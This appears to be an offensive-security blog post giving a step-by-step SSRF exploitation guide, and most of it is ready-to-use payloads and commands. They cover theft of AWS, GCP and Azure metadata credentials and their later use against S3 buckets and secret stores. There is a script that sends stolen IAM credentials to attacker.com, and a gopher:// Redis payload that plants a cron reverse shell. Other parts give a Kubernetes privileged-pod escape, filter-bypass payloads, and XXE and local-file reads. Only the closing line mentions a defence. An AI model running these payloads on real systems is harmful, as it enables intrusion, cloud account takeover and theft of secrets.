Advanced SSRF: Cloud Metadata Theft, Blind SSRF and Internal Service Pivot

Complete SSRF exploitation guide — AWS IMDSv1/v2 credential theft, GCP/Azure metadata, blind SSRF with Collaborator, Redis RCE, Kubernetes API pivot, and filter bypass techniques.

lazyhackers
Mar 27, 2026 · 19 min read · 6 views

Why SSRF Is Critical in Cloud Environments

Server-Side Request Forgery (SSRF) allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. In traditional on-premise environments, SSRF was primarily useful for port scanning internal networks and accessing internal web services. In cloud environments, SSRF becomes catastrophically dangerous because every cloud provider exposes an Instance Metadata Service (IMDS) at a special non-routable IP address accessible from any EC2/GCE/Azure instance — no authentication required by default.

A single SSRF vulnerability in a cloud-hosted application can lead to complete cloud account compromise: steal IAM credentials, access S3 buckets, pivot to every service accessible with those credentials, and potentially achieve persistence. This is why SSRF vulnerabilities in cloud environments consistently receive the highest bug bounty payouts.

AWS IMDSv1 — Complete Exploitation Chain

The AWS Instance Metadata Service is available at 169.254.169.254 (link-local address) and responds to HTTP GET requests with instance metadata, user data, and crucially — IAM role credentials:

# Step 1: Basic SSRF probe to confirm connectivity to metadata service
# Inject into any SSRF-vulnerable parameter:
https://target.com/fetch?url=http://169.254.169.254/

# Step 2: Enumerate metadata endpoint structure
https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/

# Response:
# ami-id
# ami-launch-index
# ami-manifest-path
# block-device-mapping/
# hostname
# iam/
# identity-credentials/
# instance-action
# instance-id
# instance-life-cycle
# instance-type
# local-hostname
# local-ipv4
# mac
# network/
# placement/
# profile
# public-hostname
# public-ipv4
# reservation-id
# security-groups

# Step 3: Check if IAM role is attached
https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/info

# Response (IAM role attached):
{
  "Code" : "Success",
  "LastUpdated" : "2024-01-15T10:23:45Z",
  "InstanceProfileArn" : "arn:aws:iam::123456789012:instance-profile/WebServerRole",
  "InstanceProfileId" : "AIPA..."
}

# Step 4: Get the role name
https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Response: WebServerRole

# Step 5: Steal the temporary credentials!
https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole

# Response (JACKPOT):
{
  "Code" : "Success",
  "LastUpdated" : "2024-01-15T10:23:45Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIAIOSFODNN7EXAMPLE",
  "SecretAccessKey" : "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token" : "AQoDYXdzEJr//////////wEa...[long STS token]...",
  "Expiration" : "2024-01-15T16:23:45Z"
}

Using Stolen Credentials

# Configure AWS CLI with stolen credentials:
export AWS_ACCESS_KEY_ID="ASIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="AQoDYXdzEJr//////////wEa..."

# Identify the account and role permissions:
aws sts get-caller-identity
# {
#   "UserId": "AROA...:i-0123456789abcdef0",
#   "Account": "123456789012",
#   "Arn": "arn:aws:sts::123456789012:assumed-role/WebServerRole/i-0123456789"
# }

# List attached policies to understand permissions:
aws iam list-attached-role-policies --role-name WebServerRole
aws iam get-role-policy --role-name WebServerRole --policy-name InlinePolicy

# Common post-exploitation targets:
# S3 buckets:
aws s3 ls  # list all buckets
aws s3 cp s3://company-secrets/env.production ./  # exfiltrate

# EC2 instances:
aws ec2 describe-instances --region us-east-1

# Secrets Manager:
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id prod/database/password

# SSM Parameter Store:
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption

# Lambda environment variables (may contain secrets):
aws lambda list-functions
aws lambda get-function-configuration --function-name prod-api
IMDSv1 credentials are temporary (expire in 6 hours) but the SSRF can be re-exploited continuously to refresh them. The real impact is what those credentials can access — in misconfigured environments, a single EC2 role may have S3FullAccess, RDSFullAccess, or even AdministratorAccess.

IMDSv2 — Token-Based Protection and Bypass

AWS IMDSv2 (Instance Metadata Service Version 2) adds a session-oriented approach requiring a PUT request to obtain a token before metadata requests. This is designed to prevent SSRF attacks that only support GET requests:

# IMDSv2 requires a two-step process:
# Step 1: Get a session token via PUT request
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600

# Response: AQAAAOFaOsNBGqFJzj...  (the token)

# Step 2: Use token in subsequent requests
GET http://169.254.169.254/latest/meta-data/
X-aws-ec2-metadata-token: AQAAAOFaOsNBGqFJzj...

IMDSv2 Bypass Techniques

# Bypass 1: If the SSRF allows PUT requests (many URL fetchers do):
# Inject: trigger PUT first, then GET with token
# Some PDF generators and headless Chrome instances support PUT

# Bypass 2: Open redirect chain
# If target has open redirect at /redirect?url=X:
# Use: http://169.254.169.254/ via redirect chain
# The PUT request may already have been made by the application itself

# Bypass 3: Not all instances enforce IMDSv2
# Many organizations migrate gradually; test v1 paths first
# IMDSv2 is per-instance configuration, not global

# Bypass 4: SSRF to internal service that queries metadata
# Even with IMDSv2 enforced, internal services (monitoring agents, backup tools)
# may query the metadata service and cache/expose results

# Check if IMDSv2 is enforced:
# If IMDSv1 path returns 401 or empty: IMDSv2 enforced
# If IMDSv1 path returns data: IMDSv1 still accessible

# Bypass 5: HTTP header injection to add X-aws-ec2-metadata-token-ttl-seconds
# If the SSRF endpoint forwards custom headers:
https://target.com/fetch?url=http://169.254.169.254/latest/api/token
# With injected header: X-aws-ec2-metadata-token-ttl-seconds: 21600
# Then use the returned token for credential requests

GCP and Azure Metadata Services

Google Cloud Platform Metadata

# GCP Metadata service:
# Hostname: metadata.google.internal OR 169.254.169.254
# Required header: Metadata-Flavor: Google

# Enumerate instance metadata:
http://metadata.google.internal/computeMetadata/v1/?recursive=true
# Header required: Metadata-Flavor: Google

# Get service account token (access_token for Google APIs):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Response:
{
  "access_token": "ya29.c.b0AXv0zTOGKO...",
  "expires_in": 3599,
  "token_type": "Bearer"
}

# Get all scopes the service account has:
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes

# Get the project ID:
http://metadata.google.internal/computeMetadata/v1/project/project-id

# Use stolen token with gcloud:
export CLOUDSDK_AUTH_ACCESS_TOKEN="ya29.c.b0AXv0zTOGKO..."
gcloud projects list
gcloud storage ls  # list GCS buckets
gcloud secrets list  # Secret Manager
gcloud sql instances list  # Cloud SQL

Azure Instance Metadata Service

# Azure IMDS:
# Endpoint: http://169.254.169.254/metadata/instance
# Required header: Metadata: true

# Get managed identity token:
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Header: Metadata: true

# Response:
{
  "access_token": "eyJ0eXAiOiJKV1QiL...",
  "refresh_token": "",
  "expires_in": "28800",
  "token_type": "Bearer",
  "resource": "https://management.azure.com/"
}

# Use token to enumerate Azure resources:
curl -H "Authorization: Bearer eyJ0eXAi..." \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"

# Get Key Vault secrets:
http://169.254.169.254/metadata/identity/oauth2/token?resource=https://vault.azure.net
# Then access: https://YOUR-VAULT.vault.azure.net/secrets?api-version=7.0

Blind SSRF Detection with Interactsh / Burp Collaborator

Many SSRF vulnerabilities are blind — the response from the internal request is not reflected back to the attacker. Detection relies on out-of-band channels: DNS lookups and HTTP callbacks observable on an attacker-controlled server.

# Using Burp Collaborator (Burp Suite Professional):
# 1. Open Burp > Burp Collaborator > Copy to clipboard
# Get your unique subdomain: abcdef1234567890.oastify.com

# 2. Inject into suspected SSRF parameter:
GET /api/fetch-url?target=http://abcdef1234567890.oastify.com/ssrf-test HTTP/1.1
Host: target.com

# 3. Check Collaborator for interactions:
# - DNS lookup: confirms the server resolves arbitrary hostnames
# - HTTP request: confirms the server makes HTTP requests to the resolved host

# Using interactsh (open source Burp Collaborator alternative):
# Install: go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-client
# Get URL: abc123.oast.pro

# Probe all parameters:
GET /api/webhook?url=http://abc123.oast.pro HTTP/1.1
POST /api/import HTTP/1.1
{"source_url": "http://abc123.oast.pro/import-test"}

# Common SSRF injection points:
# - url, link, href, src parameters
# - webhook endpoints
# - import/export functionality
# - PDF/screenshot generators
# - Email/notification with external links
# - XML inputs (XXE can pivot to SSRF)
# - Redirect parameters (if server-side follow)

SSRF via PDF Generators

# wkhtmltopdf SSRF — extremely common vulnerability
# Most "generate PDF" features use wkhtmltopdf which renders HTML including iframes

# Payload: inject HTML into PDF generation request
POST /api/generate-pdf HTTP/1.1
Content-Type: application/json

{"html": "<iframe src='http://169.254.169.254/latest/meta-data/iam/security-credentials/'></iframe>"}

# The PDF content will contain the AWS credentials response

# For headless Chrome (Puppeteer/Playwright):
# Same iframe injection works
# Can also use:
{"html": "<script>fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole').then(r=>r.text()).then(d=>fetch('http://attacker.com/'+btoa(d)));</script>"}

# Or via file:// protocol to read local files:
{"html": "<iframe src='file:///etc/passwd'></iframe>"}

# Finding PDF generators:
# Look for: "Export to PDF", "Download Report", "Generate Invoice"
# User-Agent in requests: wkhtmltopdf, HeadlessChrome, Puppeteer
# Error messages mentioning wkhtmltopdf in stack traces

SSRF via Image Processors

# ImageMagick SSRF — reading via URL handlers
# ImageMagick supports http://, ftp://, mvg://, etc. in filenames
# Inject URL as image filename in upload:

# Direct URL handler abuse:
convert "http://169.254.169.254/latest/meta-data/" /tmp/output.txt

# In web context: upload a file with URL as the "image" parameter
POST /api/images/resize HTTP/1.1
Content-Type: multipart/form-data

--boundary
Content-Disposition: form-data; name="image_url"

http://169.254.169.254/latest/meta-data/iam/security-credentials/

# FFmpeg SSRF via HLS playlist:
# Create malicious .m3u8 playlist file:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole
#EXT-X-ENDLIST

# Upload this .m3u8 file for video processing
# FFmpeg will follow the HLS segment URL and include the response data in the output

# LibreOffice SSRF via ODT/DOCX with embedded links:
# Create ODT document with external resource references pointing to internal services

SSRF to Redis RCE via RESP Protocol

Redis by default listens on port 6379 with no authentication and accepts commands over a plain TCP connection using the RESP (Redis Serialization Protocol). If SSRF allows arbitrary TCP connections (not just HTTP), or if the application uses a URL scheme that supports non-HTTP protocols, SSRF can be chained to Redis for RCE.

# SSRF to Redis — requires URL scheme that allows arbitrary TCP data
# The gopher:// protocol sends arbitrary TCP data:
# gopher://host:port/[single character ignored][data]

# Write a cron job via Redis:
# Redis commands to write cron:
# CONFIG SET dir /var/spool/cron/
# CONFIG SET dbfilename root
# SET crontab "\n\n*/1 * * * * bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\n\n"
# SAVE

# Encode as gopher:// URL:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%246%0D%0Abackup%0D%0A%2422%0D%0A%0A%0A%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

# Automated Redis SSRF-to-RCE:
# Tool: Gopherus (https://github.com/tarunkant/Gopherus)
python gopherus.py --exploit redis
# Select: PHP Webshell / Cron Job / SSH key injection
# Output: ready-to-use gopher:// URL

# Example using SSRF with gopher:
https://target.com/fetch?url=gopher://127.0.0.1:6379/_%2A1...

SSRF to Kubernetes API Server

# Kubernetes API server typically runs on port 6443 or 443
# Internal cluster DNS: kubernetes.default.svc.cluster.local
# Service account tokens mounted at: /var/run/secrets/kubernetes.io/serviceaccount/token

# If running in a Kubernetes pod, steal the service account token first:
# (via file read from another vulnerability, or if the app reads its own token)
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# Use SSRF to query the Kubernetes API:
https://target.com/fetch?url=https://kubernetes.default.svc.cluster.local/api/v1/pods
# Add the Bearer token via SSRF if the fetcher forwards custom headers

# Or exploit the SSRF to read the token file first:
https://target.com/fetch?url=file:///var/run/secrets/kubernetes.io/serviceaccount/token

# Then use the token to pivot:
# List pods in all namespaces:
curl -k -H "Authorization: Bearer TOKEN" \
  https://kubernetes.default.svc.cluster.local/api/v1/pods

# Create a privileged pod (cluster escape):
curl -k -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -X POST https://kubernetes.default.svc.cluster.local/api/v1/namespaces/default/pods \
  -d '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"escape"},"spec":{"containers":[{"name":"escape","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","sh"],"securityContext":{"privileged":true},"volumeMounts":[{"mountPath":"/host","name":"hostfs"}]}],"volumes":[{"name":"hostfs","hostPath":{"path":"/"}}]}}'

SSRF Filter Bypass Techniques

Applications often implement SSRF filters by blocking specific IP addresses or hostnames. These filters can almost always be bypassed through alternative representations:

Bypass Technique Payload Notes
Decimal notation http://2130706433/ 127.0.0.1 in decimal
Octal notation http://0177.0.0.1/ Works in many HTTP libs
Hex notation http://0x7f000001/ 0x7f = 127
IPv6 loopback http://[::1]/ IPv6 localhost
IPv6 mapped IPv4 http://[::ffff:127.0.0.1]/ IPv6 mapped form
Unicode digits http://①②⑦.⓪.⓪.①/ Some parsers normalize
DNS rebinding http://rbndr.us/<hash>/ First resolves to public IP
Short URL http://bit.ly/ssrf-169 If redirect is followed
Subdomain http://169.254.169.254.attacker.com/ Configure DNS to resolve to 169.254.169.254
URL fragments http://attacker.com#@169.254.169.254/ Parser confusion
# URL scheme bypasses (if only http/https is expected):
file:///etc/passwd
dict://127.0.0.1:6379/info
sftp://attacker.com:22/
ldap://127.0.0.1:389/
tftp://attacker.com:69/test
jar:http://attacker.com/file.jar!/

# Bypass via URL parser confusion:
# Some parsers use the hostname before @:
http://[email protected]/
http://expected.domain:[email protected]/

# Path traversal in URL:
http://169.254.169.254/../../../etc/passwd

# Double encoding (if filter URL-decodes once):
http://169%252E254%252E169%252E254/

# IPv6 variations:
http://[0:0:0:0:0:ffff:169.254.169.254]/latest/meta-data/
http://[::ffff:a9fe:a9fe]/latest/meta-data/  # a9fe:a9fe = 169.254.169.254 in hex

# Decimal with port confusion:
http://2852039166:80/  # 169.254.169.254 in full decimal

# Interactsh auto-bypass (generates bypass URLs for common SSRF filters):
interactsh-client --ssrf-bypass 169.254.169.254

Chaining SSRF with Other Vulnerabilities

# SSRF + XXE:
# XML input that triggers outbound requests:
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&ssrf;</data></root>

# SSRF + Open Redirect:
# Application has open redirect at /redirect?url=X
# SSRF filter allows redirect endpoint's domain
# Chain: target.com/redirect?url=http://169.254.169.254/
# SSRF hits target.com (allowed), which redirects to metadata service

# SSRF + CORS misconfiguration:
# If internal API returns Access-Control-Allow-Origin: *
# Combine SSRF to reach internal API + CORS to exfiltrate response via JS

# SSRF to read /proc/self/environ (for secrets in environment variables):
file:///proc/self/environ
# Often contains: DATABASE_URL=postgres://user:password@host/db
#                 AWS_SECRET_ACCESS_KEY=...
#                 SECRET_KEY=...
When testing SSRF filter bypasses, always test against both the IP address directly and via your own DNS server that resolves to the target IP. DNS-based bypasses (pointing your domain to 169.254.169.254) work against filters that only block the literal IP but allow hostnames, and are often the most reliable bypass technique in production environments.

SSRF has evolved from a minor internal port scanner to one of the most critical web vulnerabilities in cloud-native environments. The combination of cloud metadata services, internal Kubernetes APIs, Redis instances without authentication, and other internal services means a single SSRF vulnerability can cascade into complete infrastructure compromise. Every request parameter that accepts a URL should be tested for SSRF, and every cloud-hosted application must have IMDSv2 enforced at the infrastructure level as a defense-in-depth measure.

Reactions

Related Articles